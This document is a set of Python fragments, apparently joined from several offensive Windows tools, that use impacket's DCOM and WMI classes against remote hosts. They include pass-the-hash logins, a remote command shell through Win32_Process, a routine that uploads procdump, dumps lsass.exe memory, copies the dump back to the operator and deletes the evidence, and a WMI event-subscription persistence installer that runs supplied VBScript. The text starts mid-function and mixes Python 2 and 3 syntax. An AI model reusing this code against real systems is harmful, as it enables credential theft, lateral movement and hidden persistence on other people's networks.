GroupComponent=\"Win32_Group.Domain='{}',Name='{}'\"".format( domain, group) wmi_query = self.wmi_con.ExecQuery(query, lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_results = wmi_query.Next(0xffffffff, 1)[0] wmi_results = wmi_results.getProperties() for key, value in wmi_results.items(): member = self.parse_local_members(value['value']) self.logger.info([ self.display_host, self.display_ip, "LOCAL MEMBERS", "{:<30} {}".format(group.title(), member) ]) except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug([ self.display_host, self.display_ip, "LOCAL MEMBERS", str(e) ]) else: break self.disconnect() def parse_local_members(self, line): # Parse domain\account_name from wmi output query try: data = line.split('.')[1] domain, account = data.split(',') return "{}\\{}".format( domain.split("=")[1].strip("\""), account.split("=")[1].strip("\"")) except: return line def wmi_query(self, namespace, query, name="WMI QUERY"): self.create_wmi_con(namespace) wmi_query = self.wmi_con.ExecQuery(query, lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_results = wmi_query.Next(0xffffffff, 1)[0] wmi_results = wmi_results.getProperties() for k, v in wmi_results.items(): self.logger.info([ self.display_host, self.display_ip, name, "{:<30} {}".format(k, v['value']) ]) except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug("WMIQuery: {}".format(str(e))) else: break self.disconnect() def disconnect(self): self.dcom.disconnect()
def tes_activation(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLoginClientID) dcom.disconnect()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': return self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: # filename = '$ADMIN\Temp\{}'.format(OUTPUT_FILENAME) filename = '$C\Windows\Temp\{}'.format(OUTPUT_FILENAME) # Delete outfile if self.shell: output_callback = '' # print("Cleaning up output file: {}. Please don't Ctrl+C me.".format(filename)) for _ in xrange(10): try: self.shell._RemoteShell__transferClient.deleteFile( self.shell._RemoteShell__share, self.shell._RemoteShell__output) break except KeyboardInterrupt: try: print( "Pressing Ctrl+C again might leave a file on disk: {}" .format(filename)) time.sleep(1) continue except KeyboardInterrupt: break except Exception, e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(1) pass if str(e).find('BAD_NETWORK_NAME') >= 0: print(str(e)) break else: # print str(e) time.sleep(1) pass else: print("Error: Timeout - {} might be left on disk".format( filename))
class WmiCon(Connector): def __init__(self, args, loggers, ip, host): Connector.__init__(self, args, loggers, ip) """Display var passed for output formatting but, IP is used to establish to connection, as hostname can be inconsistent""" self.display_ip = ip self.display_host = host self._debug = False self.dcom = None self.wmi_con = None self.process_list = {} def create_wmi_con(self, namespace='root\\cimv2'): self.dcom = DCOMConnection(self.host, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.wmi_con = iWbemLevel1Login.NTLMLogin( '\\\\{}\\{}'.format(self.host, namespace), NULL, NULL) def get_netprocess(self, tasklist=False): self.create_wmi_con() wmi_enum_process = self.wmi_con.ExecQuery( 'SELECT * from Win32_Process', lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_process = wmi_enum_process.Next(0xffffffff, 1)[0] wmi_process_owner = wmi_process.GetOwner() attributes = { 'computername': self.host, 'processname': wmi_process.Name, 'processid': wmi_process.ProcessId, 'user': wmi_process_owner.User, 'domain': wmi_process_owner.Domain } # Dont wait until end to print if tasklist: self.logger.info([ self.display_host, self.display_ip, "TASKLIST", "PID: {:<6} Name: {:<20} User: {:<17} Host: {:<15} Domain: {}" .format(attributes['processid'], attributes['processname'], attributes['user'], attributes['computername'], attributes['domain']) ]) self.process_list[wmi_process.ProcessId] = attributes except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug("Get-NetProcess: {}".format(str(e))) else: break self.disconnect() def wmi_query(self, namespace, query): self.create_wmi_con(namespace) wmi_query = self.wmi_con.ExecQuery(query, lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_results = wmi_query.Next(0xffffffff, 1)[0] wmi_results = wmi_results.getProperties() for k, v in wmi_results.items(): self.logger.info([ self.display_host, self.display_ip, 'WMI QUERY', "{:<30} {}".format(k, v['value']) ]) except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug("WMIQuery: {}".format(str(e))) else: break self.disconnect() def disconnect(self): self.dcom.disconnect()
class WMIQUERY: def __init__(self, logger, connection, wmi_namespace): self.__logger = logger self.__addr = connection.host self.__username = connection.username self.__password = connection.password self.__hash = connection.hash self.__domain = connection.domain self.__namespace = wmi_namespace self.__doKerberos = False self.__aesKey = None self.__oxidResolver = True self.__lmhash = '' self.__nthash = '' if self.__hash is not None: self.__lmhash, self.__nthash = self.__hash.split(':') if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.__iWbemServices = iWbemLevel1Login.NTLMLogin( self.__namespace, NULL, NULL) iWbemLevel1Login.RemRelease() def query(self, query): query = query.strip('\n') if query[-1:] == ';': query = query[:-1] try: iEnumWbemClassObject = self.__iWbemServices.ExecQuery( query.strip('\n')) self.__logger.success('Executed specified WMI query') self.printReply(iEnumWbemClassObject) iEnumWbemClassObject.RemRelease() except Exception as e: traceback.print_exc() self.__iWbemServices.RemRelease() self.__dcom.disconnect() def describe(self, sClass): sClass = sClass.strip('\n') if sClass[-1:] == ';': sClass = sClass[:-1] try: iObject, _ = self.iWbemServices.GetObject(sClass) iObject.printInformation() iObject.RemRelease() except Exception as e: traceback.print_exc() def printReply(self, iEnum): printHeader = True while True: try: pEnum = iEnum.Next(0xffffffff, 1)[0] record = pEnum.getProperties() line = [] for rec in record: line.append('{}: {}'.format(rec, record[rec]['value'])) self.__logger.highlight(' | '.join(line)) except Exception, e: #import traceback #print traceback.print_exc() if str(e).find('S_FALSE') < 0: raise else: break iEnum.RemRelease()
else: lmhash = '' nthash = '' try: dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True, doKerberos=options.k) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL) iWbemLevel1Login.RemRelease() shell = WMIQUERY(iWbemServices) if options.file is None: shell.cmdloop() else: for line in options.file.readlines(): print "WQL> %s" % line, shell.onecmd(line) iWbemServices.RemRelease() dcom.disconnect()
def run(self, addr, osArch='64'): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.debug("%sSMBv1 dialect used" % (debugBlue)) elif dialect == SMB2_DIALECT_002: logging.debug("%sSMBv2.0 dialect used" % (debugBlue)) elif dialect == SMB2_DIALECT_21: logging.debug("%sSMBv2.1 dialect used" % (debugBlue)) else: logging.debug("%sSMBv3.0 dialect used" % (debugBlue)) else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices=iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) procpath = os.path.join(os.path.dirname(os.path.realpath(sys.argv[0])), 'misc', 'procdump', 'procdump%s.exe' % (osArch)) logging.info("%s Uploading procdump to %s..." % (debugBlue, addr)) with suppress_std(): self.shell.do_put(procpath) dt = datetime.now().strftime("%m-%d-%Y_%H-%M-%S") cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do procdump{}.exe -accepteula -ma ^%B C:\\{}.dmp""".format(osArch, addr + "_" + dt) logging.info("%s Executing procdump on %s..." % (debugBlue, addr)) #with suppress_std(): self.shell.onecmd(cmd) logging.info("%s Retrieving %s's dump locally... (can take a while)." % (debugBlue, addr)) with suppress_std(): self.shell.do_get("%s.dmp" % (addr + "_" + dt)) finally: with suppress_std(): if pathlib.Path(addr + "_" + dt + '.dmp').exists(): shutil.move(addr + "_" + dt + '.dmp', os.path.join(dumpDir, addr + "_" + dt + '.dmp')) logging.info("%s Deleting procdump on %s..." % (debugBlue, addr)) with suppress_std(): self.shell.onecmd("del procdump%s.exe" % (osArch)) logging.info("%s Deleting dump on %s..." % (debugBlue, addr)) with suppress_std(): self.shell.onecmd("del %s.dmp" % (addr + "_" + dt)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush()
def run(self, addr): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) iWbemLevel1Login.RemRelease() if self.__options.action.upper() == 'REMOVE': self.checkError( 'Removing ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.DeleteInstance( 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) self.checkError( 'Removing EventFilter EF_%s' % self.__options.name, iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) self.checkError( 'Removing IntervalTimerInstruction TI_%s' % self.__options.name, iWbemServices.DeleteInstance( '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) self.checkError( 'Removing FilterToConsumerBinding %s' % self.__options.name, iWbemServices.DeleteInstance( r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",' r'Filter="__EventFilter.Name=\"EF_%s\""' % (self.__options.name, self.__options.name))) else: activeScript, _ = iWbemServices.GetObject( 'ActiveScriptEventConsumer') activeScript = activeScript.SpawnInstance() activeScript.Name = self.__options.name activeScript.ScriptingEngine = 'VBScript' activeScript.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] activeScript.ScriptText = options.vbs.read() self.checkError( 'Adding ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.PutInstance(activeScript.marshalMe())) if options.filter is not None: eventFilter, _ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] eventFilter.Query = options.filter eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\cimv2' self.checkError( 'Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) else: wmiTimer, _ = iWbemServices.GetObject( '__IntervalTimerInstruction') wmiTimer = wmiTimer.SpawnInstance() wmiTimer.TimerId = 'TI_%s' % self.__options.name wmiTimer.IntervalBetweenEvents = int(self.__options.timer) #wmiTimer.SkipIfPassed = False self.checkError( 'Adding IntervalTimerInstruction', iWbemServices.PutInstance(wmiTimer.marshalMe())) eventFilter, _ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\subscription' self.checkError( 'Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) filterBinding, _ = iWbemServices.GetObject( '__FilterToConsumerBinding') filterBinding = filterBinding.SpawnInstance() filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name filterBinding.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] self.checkError( 'Adding FilterToConsumerBinding', iWbemServices.PutInstance(filterBinding.marshalMe())) dcom.disconnect()
class WMIEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = b'' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = aesKey self.__kdcHost = kdcHost self.__doKerberos = doKerberos self.__retOutput = True if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) if os.path.isfile(command): with open(command) as commands: for c in commands: self.execute_handler(c.strip()) else: self.execute_handler(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = b'' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.__outputBuffer = b'' def output_callback(self, data): self.__outputBuffer += data def execute_handler(self, data): if self.__retOutput: try: logging.debug('Executing remote') self.execute_remote(data) except: self.cd('\\') self.execute_remote(data) else: self.execute_remote(data) def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote() def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless() def get_output_fileless(self): while True: try: with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(2) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = '' return while True: try: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output)